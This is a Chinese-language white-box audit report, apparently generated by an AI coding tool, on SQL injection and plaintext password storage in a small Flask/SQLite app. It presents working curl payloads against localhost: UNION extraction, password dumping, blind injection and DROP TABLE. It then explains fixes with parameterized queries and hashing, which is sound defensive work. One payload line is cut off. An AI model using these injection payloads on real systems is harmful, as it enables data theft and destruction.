

用户管理系统 — SQL注入漏洞检测与修复报告

项目名称：简易用户信息管理平台登录/注册/搜索功能

审计日期：2026-07-08

审计类型：白盒代码审计

代码语言：Python (Flask) + SQLite + HTML

漏洞总数：3

严重漏洞：2 | 中危漏洞：1

目录

- [漏洞概况](#)
- [漏洞详情与利用](#)
- [SQL-001 搜索功能SQL注入](#)
- [SQL-002 注册功能SQL注入](#)
- [SQL-003 SQLite明文密码存储](#)
- [修复方法](#)
- [代码差异对照](#)
- [OWASP Top 10 对照](#)

1. 漏洞概况

漏洞位置总览

编号	漏洞	文件	行号	严重性
SQL-001	搜索功能SQL注入	vulnerable/app.py	181	● 严重
SQL-002	注册功能SQL注入	vulnerable/app.py	252	● 严重

编号	漏洞	文件	行号	严重性
SQL-003	SQLite明文密码存储	vulnerable/app.py	72-75	● 中危

漏洞根因

所有SQL注入漏洞的根因是使用**f-string**进行**SQL**语句拼接，直接将用户输入嵌入SQL语句中，而没有使用参数化查询。

2. 漏洞详情与利用

SQL-001 搜索功能SQL注入

字段	内容
严重性	● 严重
CWE编号	CWE-89: SQL Injection
CVSS评分	9.1 (Critical)
攻击向量	网络远程攻击
利用难度	低

漏洞代码

文件：vulnerable/app.py 第 181 行

```
sql = f"SELECT id, username, email, phone FROM users \
      WHERE username LIKE '%{keyword}%' OR email LIKE '%{keyword}%'"
c.execute(sql)
```

用户输入的 `keyword` 参数未经任何过滤或转义，直接通过 f-string 嵌入 SQL 语句。

攻击场景

攻击者可以在搜索框中输入特殊字符，篡改 SQL 语句的逻辑。

POC 1 : UNION 注入提取数据

请求：

```
curl "http://127.0.0.1:5000/?keyword=%27%20UNION%20SELECT%201,%27inj%27,%27inj@x.com%27,%27138%27" --insecure
```

生成的SQL：

```
SELECT id, username, email, phone FROM users
WHERE username LIKE '%' UNION SELECT 1,'inj','inj@x.com','138'--%'
      OR email LIKE '%' UNION SELECT 1,'inj','inj@x.com','138'--%'
```

原理：`' UNION SELECT 1,2,3,4--` 闭合原语句的单引号，通过 UNION 合并任意查询结果。

预期输出：搜索结果中出现伪造的用户 inj。

POC 2 : OR 万能密码获取全部数据

请求：

```
curl "http://127.0.0.1:5000/?keyword=%27%20OR%20%271%27%3D%271" --insecure
```

生成的SQL：

```
SELECT id, username, email, phone FROM users
WHERE username LIKE '%' OR '1'='1%' OR email LIKE '%' OR '1'='1%'
```

原理：`' OR '1'='1` 使 WHERE 条件永远为真。

预期输出：返回 users 表中所有用户的记录。

POC 3 : 提取数据库元数据

```
# 获取所有表名
curl "http://127.0.0.1:5000/?keyword=%27%20UNION%20SELECT%201,group_concat(tbl_name),3,4%20FROM%20sqlite_master%27" --insecure

# 获取users表结构
curl "http://127.0.0.1:5000/?keyword=%27%20UNION%20SELECT%201,sql,3,4%20FROM%20sqlite_master%27" --insecure

# 提取所有用户密码
curl "http://127.0.0.1:5000/?keyword=%27%20UNION%20SELECT%201,group_concat(username||%27:%27,password),3,4%20FROM%20users%27" --insecure
```

POC 4 : 布尔盲注 (适用于无回显场景)

```
# 判断第一个用户admin的密码第一个字符是否为'a'
curl "http://127.0.0.1:5000/?keyword=admin%27%20AND%20SUBSTR((SELECT%20password%20FROM%20user

# 如果页面返回正常结果，说明密码首字符为'a'，否则不是
# 逐个字符枚举即可获得完整密码
```

SQL-002 注册功能SQL注入

字段	内容
严重性	严重
CWE编号	CWE-89: SQL Injection
CVSS评分	9.1 (Critical)

漏洞代码

文件：vulnerable/app.py 第 252 行

```
sql = f"INSERT INTO users (username, password, email, phone) \
      VALUES ('{username}', '{password}', '{email}', '{phone}')"
c.execute(sql)
```

注册表单中的四个字段都直接通过 f-string 插入 SQL 语句。

攻击场景

POC 1 : 注册时插入恶意数据

```
curl -X POST http://127.0.0.1:5000/register \
-d "username=hacker", 'evil_pass', 'h@x.com', '123')--&password=irrelevant&email=x&phone=x"
```

生成的SQL：

```
INSERT INTO users (username, password, email, phone)
VALUES ('hacker', 'evil_pass', 'h@x.com', '123')--, 'irrelevant', 'x', 'x')
```

效果：在数据库中插入一条用户名 hacker、密码 evil_pass 的记录。

POC 2 : 删除表

```
curl -X POST http://127.0.0.1:5000/register \
-d "username=test&password=123'); DROP TABLE users;--&email=x&phone=x"
```

生成的SQL :

```
INSERT INTO users (username, password, email, phone)
VALUES ('test', '123'); DROP TABLE users;-- ', 'x', 'x')
```

效果 : `DROP TABLE users` 被执行, 用户表被删除, 系统崩溃。

SQL-003 SQLite明文密码存储

字段	内容
严重性	 中危
CWE编号	CWE-312: Cleartext Storage of Sensitive Information

漏洞代码

文件 : `vulnerable/app.py` 第 72-75 行

```
c.execute("INSERT OR IGNORE INTO users (username, password, email, phone) VALUES (?, ?, ?, ?)
          ('admin', 'admin123', ...)) # ← 明文密码
c.execute("INSERT OR IGNORE INTO users (username, password, email, phone) VALUES (?, ?, ?, ?)
          ('alice', 'alice2025', ...)) # ← 明文密码
```

虽然这里使用了参数化查询, 但密码以明文存储在 SQLite 数据库中。一旦通过 SQL 注入获取了数据库内容, 所有密码直接暴露。

攻击场景

1. 攻击者通过 SQL 注入获取 `users` 表全部数据
2. 直接获得所有用户的明文密码
3. 如果用户在其他平台使用相同密码, 还会导致撞库攻击

3. 修复方法

修复SQL-001：搜索功能SQL注入

修复方案：使用参数化查询（Placeholder）替代 f-string 拼接。

修复代码

```
# ❌ 漏洞代码（f-string拼接）
sql = f"SELECT id, username, email, phone FROM users WHERE username LIKE '{keyword}%' OR email LIKE '{keyword}%'
c.execute(sql)

# ✅ 修复代码（参数化查询）
sql = "SELECT id, username, email, phone FROM users WHERE username LIKE ? OR email LIKE ?"
like_pattern = f"%{keyword}%"
c.execute(sql, (like_pattern, like_pattern))
```

为什么参数化查询能防注入？

SQLite 对参数化查询的处理：1. SQL 语句模板在编译阶段就确定语义结构 2. 参数值在执行阶段才传入，只作为数据处理 3. 用户输入中的特殊字符（`'`、`"`、`--`、`UNION` 等）被自动转义 4. 攻击者无法改变 SQL 语句的逻辑结构

效果验证

输入	漏洞版	修复版
admin	✅ 正常搜索	✅ 正常搜索
admin' OR '1'='1	🔓 泄露全部用户	✅ 仅搜索字面量
' UNION SELECT 1,2,3,4--	🔓 UNION注入成功	✅ 被当作普通文本搜索
'; DROP TABLE users--	🔓 删除用户表	✅ 安全，仅搜索字符串

修复SQL-002：注册功能SQL注入

修复方案：同样使用参数化查询。

修复代码

```
# ❌ 漏洞代码（f-string拼接）
sql = f"INSERT INTO users (username, password, email, phone) VALUES ('{username}', '{password}', '{email}', '{phone}')"
c.execute(sql)
```

```
c.execute(sql)

#  修复代码 (参数化查询)
sql = "INSERT INTO users (username, password, email, phone) VALUES (?, ?, ?, ?)"
c.execute(sql, (username, password, email, phone))
```

修复SQL-003：明文密码存储

修复方案：对密码进行哈希处理后再存储。

修复代码

```
from werkzeug.security import generate_password_hash

#  明文存储
c.execute("INSERT INTO users ( ... ) VALUES (?, ?, ?, ?)",
          ("admin", "admin123", ... ))

#  哈希后存储
hashed_pw = generate_password_hash("admin123")
c.execute("INSERT INTO users ( ... ) VALUES (?, ?, ?, ?)",
          ("admin", hashed_pw, ... ))
```

4. 代码差异对照

app.py 核心变更

vulnerable/app.py	fixed/app.py
<pre># 搜索功能 sql = f"SELECT ... LIKE '%{kw}%'" c.execute(sql)</pre>	<pre># 搜索功能 sql = "SELECT ... LIKE ? OR LIKE ?" c.execute(sql, (pattern, pattern))</pre>
<pre># 注册功能 sql = f"INSERT INTO VALUES ('{u}', ...)" c.execute(sql)</pre>	<pre># 注册功能 sql = "INSERT INTO VALUES (?, ?, ?, ?)" c.execute(sql, (u, p, e, ph))</pre>
<pre># 密码存储 ('admin', 'admin123', ...)</pre>	<pre># 密码存储 ('admin', generate_password_hash(...), ...)</pre>

安全性对比

测试用例	漏洞版	修复版
admin	✅ 正常搜索	✅ 正常搜索
' OR '1'='1	🔓 全部数据泄露	✅ 仅搜索字符串
' UNION SELECT ...	🔓 任意数据提取	✅ 仅搜索字符串
'; DROP TABLE --	🔓 表被删除	✅ 仅搜索字符串
注册恶意SQL	🔓 数据库被篡改	✅ 安全
密码泄露风险	🔴 明文	🟢 哈希

在模板中使用转义

即使修复了SQL注入，模板中仍应使用 `| e` 过滤器防止XSS：

```
<!-- ✅ 安全：HTML转义 -->
<td>{{ r['username'] | e }}</td>
<td>{{ r['email'] | e }}</td>
```

5. OWASP Top 10 对照

OWASP Top 10 (2021)	对应漏洞
A03:2021 - Injection	SQL-001, SQL-002 SQL注入
A02:2021 - Cryptographic Failures	SQL-003 明文密码存储
A01:2021 - Broken Access Control	可通过SQL注入越权访问数据

总结

本系统共发现 **3** 个安全漏洞，其中 **2** 个严重SQL注入漏洞（搜索和注册功能），**1** 个中危明文密码存储漏洞。

修复的核心原则：1. 永远不要使用字符串拼接构造SQL语句 2. 始终使用参数化查询（**Prepared Statement**） 3. 敏感信息（密码）必须哈希存储

一句话总结：

用户输入不可信，拼接SQL是原罪。参数化查询一劳永逸。

本报告由 *Claude Code* 自动生成，基于白盒代码审计结果。

报告日期：2026-07-08